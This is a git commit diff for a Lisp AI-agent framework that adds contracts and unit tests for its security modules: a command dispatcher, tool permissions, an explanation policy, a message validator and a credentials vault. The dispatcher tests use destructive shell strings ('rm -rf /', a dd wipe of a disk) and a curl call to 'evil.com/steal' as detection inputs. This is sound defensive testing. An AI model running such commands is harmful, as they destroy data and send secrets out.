security: contracts + tests for all 5 security modules (87→123 checks)
Some checks failed
Deploy (Gitea) / deploy (push) Failing after 2s
Some checks failed
Deploy (Gitea) / deploy (push) Failing after 2s
This commit is contained in:
@@ -3,7 +3,8 @@
|
|||||||
(:export
|
(:export
|
||||||
#:frame-message
|
#:frame-message
|
||||||
#:read-framed-message
|
#:read-framed-message
|
||||||
#:PROTO-GET
|
#:PROTO-GET
|
||||||
|
#:proto-get
|
||||||
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
||||||
#:COSINE-SIMILARITY
|
#:COSINE-SIMILARITY
|
||||||
#:VAULT-MASK-STRING
|
#:VAULT-MASK-STRING
|
||||||
@@ -79,6 +80,12 @@
|
|||||||
#:hitl-approve
|
#:hitl-approve
|
||||||
#:hitl-deny
|
#:hitl-deny
|
||||||
#:hitl-handle-message
|
#:hitl-handle-message
|
||||||
|
#:dispatcher-check-secret-path
|
||||||
|
#:dispatcher-check-shell-safety
|
||||||
|
#:dispatcher-check-privacy-tags
|
||||||
|
#:dispatcher-check-network-exfil
|
||||||
|
#:dispatcher-gate
|
||||||
|
#:wildcard-match
|
||||||
#:actuator-initialize
|
#:actuator-initialize
|
||||||
#:dispatch-action
|
#:dispatch-action
|
||||||
#:register-actuator
|
#:register-actuator
|
||||||
@@ -138,9 +145,11 @@
|
|||||||
#:get-oc-config-dir
|
#:get-oc-config-dir
|
||||||
#:prompt-for
|
#:prompt-for
|
||||||
#:save-secret
|
#:save-secret
|
||||||
#:get-tool-permission
|
#:get-tool-permission
|
||||||
#:set-tool-permission
|
#:set-tool-permission
|
||||||
#:check-tool-permission-gate
|
#:check-tool-permission-gate
|
||||||
|
#:permission-get
|
||||||
|
#:permission-set
|
||||||
#:cognitive-tool
|
#:cognitive-tool
|
||||||
#:cognitive-tool-name
|
#:cognitive-tool-name
|
||||||
#:cognitive-tool-description
|
#:cognitive-tool-description
|
||||||
@@ -156,10 +165,14 @@
|
|||||||
#:distill-prompt
|
#:distill-prompt
|
||||||
#:*probabilistic-backends*
|
#:*probabilistic-backends*
|
||||||
#:*provider-cascade*
|
#:*provider-cascade*
|
||||||
#:vault-get-secret
|
#:vault-get
|
||||||
#:vault-set-secret
|
#:vault-set
|
||||||
|
#:vault-get-secret
|
||||||
|
#:vault-set-secret
|
||||||
#:memory-objects-by-attribute
|
#:memory-objects-by-attribute
|
||||||
#:find-headline-missing-id))
|
#:find-headline-missing-id
|
||||||
|
#:policy-compliance-check
|
||||||
|
#:validator-protocol-check))
|
||||||
|
|
||||||
(in-package :passepartout)
|
(in-package :passepartout)
|
||||||
|
|
||||||
|
|||||||
@@ -401,3 +401,49 @@ Recognized formats:
|
|||||||
:priority 150
|
:priority 150
|
||||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||||
:deterministic #'dispatcher-gate)
|
:deterministic #'dispatcher-gate)
|
||||||
|
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-dispatcher-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:dispatcher-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-dispatcher-tests)
|
||||||
|
|
||||||
|
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
|
||||||
|
(in-suite dispatcher-suite)
|
||||||
|
|
||||||
|
(test test-wildcard-match
|
||||||
|
"Contract 1: wildcard pattern * matches any characters."
|
||||||
|
(is (wildcard-match "*.env" ".env"))
|
||||||
|
(is (wildcard-match "*.env" "prod.env"))
|
||||||
|
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||||
|
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||||
|
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||||
|
|
||||||
|
(test test-check-secret-path
|
||||||
|
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||||
|
(is (dispatcher-check-secret-path ".env"))
|
||||||
|
(is (dispatcher-check-secret-path "id_rsa"))
|
||||||
|
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||||
|
|
||||||
|
(test test-check-shell-safety
|
||||||
|
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||||
|
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||||
|
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||||
|
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||||
|
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||||
|
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||||
|
|
||||||
|
(test test-check-privacy-tags
|
||||||
|
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||||
|
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||||
|
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||||
|
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||||
|
|
||||||
|
(test test-check-network-exfil
|
||||||
|
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||||
|
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||||
|
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||||
|
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
(in-package :passepartout)
|
||||||
|
|
||||||
(defvar *permission-table* (make-hash-table :test 'equal))
|
(defvar *permission-table* (make-hash-table :test 'equal))
|
||||||
|
|
||||||
(defun permission-set (tool-name level)
|
(defun permission-set (tool-name level)
|
||||||
@@ -11,3 +13,32 @@
|
|||||||
(defskill :passepartout-security-permissions
|
(defskill :passepartout-security-permissions
|
||||||
:priority 600
|
:priority 600
|
||||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||||
|
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-permissions-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:permissions-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-permissions-tests)
|
||||||
|
|
||||||
|
(def-suite permissions-suite :description "Verification of Tool Permissions")
|
||||||
|
(in-suite permissions-suite)
|
||||||
|
|
||||||
|
(test test-permission-round-trip
|
||||||
|
"Contract 1: permission-set stores a level; permission-get retrieves it."
|
||||||
|
(permission-set "test-tool" :allow)
|
||||||
|
(is (eq :allow (permission-get "test-tool")))
|
||||||
|
;; Clean up
|
||||||
|
(permission-set "test-tool" nil))
|
||||||
|
|
||||||
|
(test test-permission-default
|
||||||
|
"Contract 2: unregistered tools default to :ask."
|
||||||
|
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
|
||||||
|
|
||||||
|
(test test-permission-case-insensitive
|
||||||
|
"Contract 3: tool names are normalized to lowercase."
|
||||||
|
(permission-set :CapitalTool :deny)
|
||||||
|
(is (eq :deny (permission-get :capitaltool)))
|
||||||
|
(permission-set "CapitalTool" nil))
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
(in-package :passepartout)
|
||||||
|
|
||||||
(defun policy-compliance-check (action context)
|
(defun policy-compliance-check (action context)
|
||||||
"Enforces constitutional invariants on proposed actions."
|
"Enforces constitutional invariants on proposed actions."
|
||||||
(declare (ignore context))
|
(declare (ignore context))
|
||||||
@@ -15,3 +17,34 @@
|
|||||||
:priority 500
|
:priority 500
|
||||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||||
:deterministic #'policy-compliance-check)
|
:deterministic #'policy-compliance-check)
|
||||||
|
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-policy-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:policy-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-policy-tests)
|
||||||
|
|
||||||
|
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
|
||||||
|
(in-suite policy-suite)
|
||||||
|
|
||||||
|
(test test-policy-passes-valid-explanation
|
||||||
|
"Contract 1: action with sufficient explanation passes through unchanged."
|
||||||
|
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
|
||||||
|
(result (policy-compliance-check action nil)))
|
||||||
|
(is (equal action result))))
|
||||||
|
|
||||||
|
(test test-policy-rejects-short-explanation
|
||||||
|
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
|
||||||
|
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
|
||||||
|
(result (policy-compliance-check action nil)))
|
||||||
|
(is (eq :LOG (getf result :type)))
|
||||||
|
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||||
|
|
||||||
|
(test test-policy-rejects-missing-explanation
|
||||||
|
"Contract 1: action without :explanation is rejected."
|
||||||
|
(let* ((action '(:type :REQUEST :payload (:action :read)))
|
||||||
|
(result (policy-compliance-check action nil)))
|
||||||
|
(is (eq :LOG (getf result :type)))))
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
(in-package :passepartout)
|
||||||
|
|
||||||
(defun validator-protocol-check (msg)
|
(defun validator-protocol-check (msg)
|
||||||
"Enforces structural schema compliance on protocol messages."
|
"Enforces structural schema compliance on protocol messages."
|
||||||
(validate-communication-protocol-schema msg))
|
(validate-communication-protocol-schema msg))
|
||||||
@@ -11,3 +13,31 @@
|
|||||||
(progn (validator-protocol-check action) action)
|
(progn (validator-protocol-check action) action)
|
||||||
(error (c)
|
(error (c)
|
||||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||||
|
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-validator-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:validator-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-validator-tests)
|
||||||
|
|
||||||
|
(def-suite validator-suite :description "Verification of the Protocol Validator")
|
||||||
|
(in-suite validator-suite)
|
||||||
|
|
||||||
|
(test test-validator-passes-valid-message
|
||||||
|
"Contract 1: a valid message passes protocol check."
|
||||||
|
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
|
||||||
|
(handler-case
|
||||||
|
(progn
|
||||||
|
(validator-protocol-check msg)
|
||||||
|
(pass))
|
||||||
|
(error (c)
|
||||||
|
(fail "Validator rejected a valid message: ~a" c)))))
|
||||||
|
|
||||||
|
(test test-validator-rejects-missing-type
|
||||||
|
"Contract 1: a message missing :type is rejected."
|
||||||
|
(let ((msg '(:payload (:sensor :heartbeat))))
|
||||||
|
(signals error
|
||||||
|
(validator-protocol-check msg))))
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
(in-package :passepartout)
|
||||||
|
|
||||||
(defvar *vault-memory* (make-hash-table :test 'equal)
|
(defvar *vault-memory* (make-hash-table :test 'equal)
|
||||||
"In-memory cache of sensitive credentials.")
|
"In-memory cache of sensitive credentials.")
|
||||||
|
|
||||||
@@ -31,3 +33,54 @@
|
|||||||
(defskill :passepartout-security-vault
|
(defskill :passepartout-security-vault
|
||||||
:priority 600
|
:priority 600
|
||||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||||
|
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-vault-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:vault-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-vault-tests)
|
||||||
|
|
||||||
|
(def-suite vault-suite :description "Verification of the Credentials Vault")
|
||||||
|
(in-suite vault-suite)
|
||||||
|
|
||||||
|
(test test-vault-round-trip
|
||||||
|
"Contract 1: vault-set stores a value; vault-get retrieves it."
|
||||||
|
(let ((test-key :vault-test-round-trip)
|
||||||
|
(test-secret "secret-abc123"))
|
||||||
|
(vault-set test-key test-secret)
|
||||||
|
(is (string= test-secret (vault-get test-key)))
|
||||||
|
;; Clean up
|
||||||
|
(vault-set test-key nil)))
|
||||||
|
|
||||||
|
(test test-vault-missing-key
|
||||||
|
"Contract 2: vault-get returns NIL for an unset, unknown provider."
|
||||||
|
(is (null (vault-get :nonexistent-provider-xyz))))
|
||||||
|
|
||||||
|
(test test-vault-isolation
|
||||||
|
"Contract 5: storing for provider A does not affect provider B."
|
||||||
|
(vault-set :vault-prov-a "secret-a")
|
||||||
|
(vault-set :vault-prov-b "secret-b")
|
||||||
|
(is (string= "secret-a" (vault-get :vault-prov-a)))
|
||||||
|
(is (string= "secret-b" (vault-get :vault-prov-b)))
|
||||||
|
(vault-set :vault-prov-a nil)
|
||||||
|
(vault-set :vault-prov-b nil))
|
||||||
|
|
||||||
|
(test test-vault-secret-wrappers
|
||||||
|
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
|
||||||
|
(let ((test-provider :vault-secret-test))
|
||||||
|
(vault-set-secret test-provider "my-token")
|
||||||
|
(is (string= "my-token" (vault-get-secret test-provider)))
|
||||||
|
;; Clean up
|
||||||
|
(vault-set-secret test-provider nil)))
|
||||||
|
|
||||||
|
(test test-vault-type-isolation
|
||||||
|
"Contract 5: different :type values produce different keys."
|
||||||
|
(vault-set :vault-type-test "key-value" :type :api-key)
|
||||||
|
(vault-set :vault-type-test "secret-value" :type :secret)
|
||||||
|
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
|
||||||
|
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||||
|
(vault-set :vault-type-test nil :type :api-key)
|
||||||
|
(vault-set :vault-type-test nil :type :secret))
|
||||||
|
|||||||
@@ -28,7 +28,8 @@ The package definition. All public symbols are exported here.
|
|||||||
(:export
|
(:export
|
||||||
#:frame-message
|
#:frame-message
|
||||||
#:read-framed-message
|
#:read-framed-message
|
||||||
#:PROTO-GET
|
#:PROTO-GET
|
||||||
|
#:proto-get
|
||||||
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
||||||
#:COSINE-SIMILARITY
|
#:COSINE-SIMILARITY
|
||||||
#:VAULT-MASK-STRING
|
#:VAULT-MASK-STRING
|
||||||
@@ -104,6 +105,12 @@ The package definition. All public symbols are exported here.
|
|||||||
#:hitl-approve
|
#:hitl-approve
|
||||||
#:hitl-deny
|
#:hitl-deny
|
||||||
#:hitl-handle-message
|
#:hitl-handle-message
|
||||||
|
#:dispatcher-check-secret-path
|
||||||
|
#:dispatcher-check-shell-safety
|
||||||
|
#:dispatcher-check-privacy-tags
|
||||||
|
#:dispatcher-check-network-exfil
|
||||||
|
#:dispatcher-gate
|
||||||
|
#:wildcard-match
|
||||||
#:actuator-initialize
|
#:actuator-initialize
|
||||||
#:dispatch-action
|
#:dispatch-action
|
||||||
#:register-actuator
|
#:register-actuator
|
||||||
@@ -163,9 +170,11 @@ The package definition. All public symbols are exported here.
|
|||||||
#:get-oc-config-dir
|
#:get-oc-config-dir
|
||||||
#:prompt-for
|
#:prompt-for
|
||||||
#:save-secret
|
#:save-secret
|
||||||
#:get-tool-permission
|
#:get-tool-permission
|
||||||
#:set-tool-permission
|
#:set-tool-permission
|
||||||
#:check-tool-permission-gate
|
#:check-tool-permission-gate
|
||||||
|
#:permission-get
|
||||||
|
#:permission-set
|
||||||
#:cognitive-tool
|
#:cognitive-tool
|
||||||
#:cognitive-tool-name
|
#:cognitive-tool-name
|
||||||
#:cognitive-tool-description
|
#:cognitive-tool-description
|
||||||
@@ -181,10 +190,14 @@ The package definition. All public symbols are exported here.
|
|||||||
#:distill-prompt
|
#:distill-prompt
|
||||||
#:*probabilistic-backends*
|
#:*probabilistic-backends*
|
||||||
#:*provider-cascade*
|
#:*provider-cascade*
|
||||||
#:vault-get-secret
|
#:vault-get
|
||||||
#:vault-set-secret
|
#:vault-set
|
||||||
|
#:vault-get-secret
|
||||||
|
#:vault-set-secret
|
||||||
#:memory-objects-by-attribute
|
#:memory-objects-by-attribute
|
||||||
#:find-headline-missing-id))
|
#:find-headline-missing-id
|
||||||
|
#:policy-compliance-check
|
||||||
|
#:validator-protocol-check))
|
||||||
#+end_src
|
#+end_src
|
||||||
|
|
||||||
** Package Implementation
|
** Package Implementation
|
||||||
|
|||||||
@@ -22,6 +22,34 @@ The Bouncer inspects nine vectors:
|
|||||||
|
|
||||||
The Bouncer also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.
|
The Bouncer also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.
|
||||||
|
|
||||||
|
** Contract
|
||||||
|
|
||||||
|
1. (wildcard-match pattern path): returns T if ~path~ matches ~pattern~,
|
||||||
|
where ~*~ in pattern matches any number of characters.
|
||||||
|
2. (dispatcher-check-secret-path filepath): returns the matching
|
||||||
|
protected pattern if ~filepath~ matches any entry in
|
||||||
|
~*dispatcher-protected-paths*~, nil otherwise.
|
||||||
|
3. (dispatcher-check-shell-safety cmd): returns a list of matched
|
||||||
|
dangerous-pattern names if ~cmd~ triggers any entry in
|
||||||
|
~*dispatcher-shell-blocked*~, nil if safe.
|
||||||
|
4. (dispatcher-check-privacy-tags tags-list): returns T if any tag in
|
||||||
|
~tags-list~ matches a privacy filter tag, nil otherwise.
|
||||||
|
5. (dispatcher-check-network-exfil cmd): returns T (unsafe) if ~cmd~
|
||||||
|
contains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain.
|
||||||
|
6. (dispatcher-gate action context): main deterministic gate — routes by
|
||||||
|
sensor and applies ~dispatcher-check~ for safety verification.
|
||||||
|
7. (hitl-create blocked-action): returns a plist with ~:token~ and
|
||||||
|
~:message~ for user-facing HITL approval.
|
||||||
|
8. (hitl-approve token): approves and re-injects a pending action. Returns
|
||||||
|
T if found, nil if invalid token.
|
||||||
|
9. (hitl-deny token): denies and removes a pending action. Returns T if
|
||||||
|
found, nil if invalid.
|
||||||
|
|
||||||
|
** Boundaries
|
||||||
|
|
||||||
|
- Does NOT handle the gate approval routing — that is ~core-loop-reason.org~.
|
||||||
|
- Does NOT persist HITL tokens — they live in memory only.
|
||||||
|
|
||||||
* Implementation
|
* Implementation
|
||||||
|
|
||||||
** Package Context
|
** Package Context
|
||||||
@@ -586,4 +614,54 @@ Recognized formats:
|
|||||||
:priority 150
|
:priority 150
|
||||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||||
:deterministic #'dispatcher-gate)
|
:deterministic #'dispatcher-gate)
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
* Test Suite
|
||||||
|
|
||||||
|
#+begin_src lisp
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-dispatcher-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:dispatcher-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-dispatcher-tests)
|
||||||
|
|
||||||
|
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
|
||||||
|
(in-suite dispatcher-suite)
|
||||||
|
|
||||||
|
(test test-wildcard-match
|
||||||
|
"Contract 1: wildcard pattern * matches any characters."
|
||||||
|
(is (wildcard-match "*.env" ".env"))
|
||||||
|
(is (wildcard-match "*.env" "prod.env"))
|
||||||
|
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||||
|
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||||
|
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||||
|
|
||||||
|
(test test-check-secret-path
|
||||||
|
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||||
|
(is (dispatcher-check-secret-path ".env"))
|
||||||
|
(is (dispatcher-check-secret-path "id_rsa"))
|
||||||
|
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||||
|
|
||||||
|
(test test-check-shell-safety
|
||||||
|
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||||
|
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||||
|
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||||
|
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||||
|
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||||
|
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||||
|
|
||||||
|
(test test-check-privacy-tags
|
||||||
|
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||||
|
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||||
|
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||||
|
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||||
|
|
||||||
|
(test test-check-network-exfil
|
||||||
|
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||||
|
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||||
|
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||||
|
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||||
#+end_src
|
#+end_src
|
||||||
@@ -9,8 +9,35 @@ Every cognitive tool (file read, file write, shell execute, etc.) has a permissi
|
|||||||
|
|
||||||
The default for any unregistered tool is ~:ask~ — cautious by default, permissive by configuration. This prevents a hallucinated tool call from executing without at least giving the user a chance to review it.
|
The default for any unregistered tool is ~:ask~ — cautious by default, permissive by configuration. This prevents a hallucinated tool call from executing without at least giving the user a chance to review it.
|
||||||
|
|
||||||
|
* Architectural Intent
|
||||||
|
|
||||||
|
The Authorization Matrix is the lookup table that maps tool names to
|
||||||
|
permission levels. It is intentionally simple: set, get, default.
|
||||||
|
The complexity lives in the Bouncer (security-dispatcher.org), which
|
||||||
|
consults this table as one of its nine scan vectors.
|
||||||
|
|
||||||
|
** Contract
|
||||||
|
|
||||||
|
1. (permission-set tool-name level): stores ~level~ for ~tool-name~
|
||||||
|
in ~*permission-table*~. Tool names are normalized to lowercase.
|
||||||
|
2. (permission-get tool-name): returns the stored level, or ~:ask~ if
|
||||||
|
no entry exists.
|
||||||
|
3. Tool name matching is case-insensitive — ~(permission-set :FOO :allow)~
|
||||||
|
and ~(permission-get :foo)~ return ~:allow~.
|
||||||
|
|
||||||
|
** Boundaries
|
||||||
|
|
||||||
|
- Does NOT enforce permissions — the Bouncer does that.
|
||||||
|
- Does NOT persist permissions to disk — this is runtime-only.
|
||||||
|
- Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~.
|
||||||
|
|
||||||
* Implementation
|
* Implementation
|
||||||
|
|
||||||
|
** Package Context
|
||||||
|
#+begin_src lisp
|
||||||
|
(in-package :passepartout)
|
||||||
|
#+end_src
|
||||||
|
|
||||||
** Permission store (tool level)
|
** Permission store (tool level)
|
||||||
Hash table mapping tool names to their permission level.
|
Hash table mapping tool names to their permission level.
|
||||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||||
@@ -42,3 +69,36 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
|
|||||||
:priority 600
|
:priority 600
|
||||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||||
#+end_src
|
#+end_src
|
||||||
|
|
||||||
|
* Test Suite
|
||||||
|
|
||||||
|
#+begin_src lisp
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-permissions-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:permissions-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-permissions-tests)
|
||||||
|
|
||||||
|
(def-suite permissions-suite :description "Verification of Tool Permissions")
|
||||||
|
(in-suite permissions-suite)
|
||||||
|
|
||||||
|
(test test-permission-round-trip
|
||||||
|
"Contract 1: permission-set stores a level; permission-get retrieves it."
|
||||||
|
(permission-set "test-tool" :allow)
|
||||||
|
(is (eq :allow (permission-get "test-tool")))
|
||||||
|
;; Clean up
|
||||||
|
(permission-set "test-tool" nil))
|
||||||
|
|
||||||
|
(test test-permission-default
|
||||||
|
"Contract 2: unregistered tools default to :ask."
|
||||||
|
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
|
||||||
|
|
||||||
|
(test test-permission-case-insensitive
|
||||||
|
"Contract 3: tool names are normalized to lowercase."
|
||||||
|
(permission-set :CapitalTool :deny)
|
||||||
|
(is (eq :deny (permission-get :capitaltool)))
|
||||||
|
(permission-set "CapitalTool" nil))
|
||||||
|
#+end_src
|
||||||
|
|||||||
@@ -11,8 +11,26 @@ This is the "Radical Transparency" invariant in practice. The agent must explain
|
|||||||
|
|
||||||
The Policy skill is intentionally simple. It has one job: ensure every action has a meaningful explanation. Other security concerns (secret scanning, path blocking, network exfiltration) are handled by the Bouncer. The Policy is about values, not threats.
|
The Policy skill is intentionally simple. It has one job: ensure every action has a meaningful explanation. Other security concerns (secret scanning, path blocking, network exfiltration) are handled by the Bouncer. The Policy is about values, not threats.
|
||||||
|
|
||||||
|
** Contract
|
||||||
|
|
||||||
|
1. (policy-compliance-check action context): if ~action~ has an
|
||||||
|
~:explanation~ string longer than 10 characters, returns the action
|
||||||
|
unchanged. Otherwise, returns a ~:LOG~ rejection plist with
|
||||||
|
~:level :warn~.
|
||||||
|
|
||||||
|
** Boundaries
|
||||||
|
|
||||||
|
- Does NOT check for dangerous content — the Bouncer does that.
|
||||||
|
- Does NOT validate explanation quality — only length and presence.
|
||||||
|
- Does NOT consider ~context~ — implementation ignores it currently.
|
||||||
|
|
||||||
* Implementation
|
* Implementation
|
||||||
|
|
||||||
|
** Package Context
|
||||||
|
#+begin_src lisp
|
||||||
|
(in-package :passepartout)
|
||||||
|
#+end_src
|
||||||
|
|
||||||
** Policy Logic (policy-compliance-check)
|
** Policy Logic (policy-compliance-check)
|
||||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||||
#+begin_src lisp
|
#+begin_src lisp
|
||||||
@@ -37,3 +55,38 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
|
|||||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||||
:deterministic #'policy-compliance-check)
|
:deterministic #'policy-compliance-check)
|
||||||
#+end_src
|
#+end_src
|
||||||
|
|
||||||
|
* Test Suite
|
||||||
|
|
||||||
|
#+begin_src lisp
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-policy-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:policy-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-policy-tests)
|
||||||
|
|
||||||
|
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
|
||||||
|
(in-suite policy-suite)
|
||||||
|
|
||||||
|
(test test-policy-passes-valid-explanation
|
||||||
|
"Contract 1: action with sufficient explanation passes through unchanged."
|
||||||
|
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
|
||||||
|
(result (policy-compliance-check action nil)))
|
||||||
|
(is (equal action result))))
|
||||||
|
|
||||||
|
(test test-policy-rejects-short-explanation
|
||||||
|
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
|
||||||
|
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
|
||||||
|
(result (policy-compliance-check action nil)))
|
||||||
|
(is (eq :LOG (getf result :type)))
|
||||||
|
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||||
|
|
||||||
|
(test test-policy-rejects-missing-explanation
|
||||||
|
"Contract 1: action without :explanation is rejected."
|
||||||
|
(let* ((action '(:type :REQUEST :payload (:action :read)))
|
||||||
|
(result (policy-compliance-check action nil)))
|
||||||
|
(is (eq :LOG (getf result :type)))))
|
||||||
|
#+end_src
|
||||||
|
|||||||
@@ -6,8 +6,34 @@
|
|||||||
* Overview
|
* Overview
|
||||||
The Protocol Validator enforces schema compliance on every message entering or leaving the cognitive pipeline. It checks that messages are valid plists, that they have the required ~:type~ and ~:payload~ fields, and that the type is one of the known types (~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~). This prevents malformed messages from crashing the pipeline and ensures backward compatibility when the protocol evolves.
|
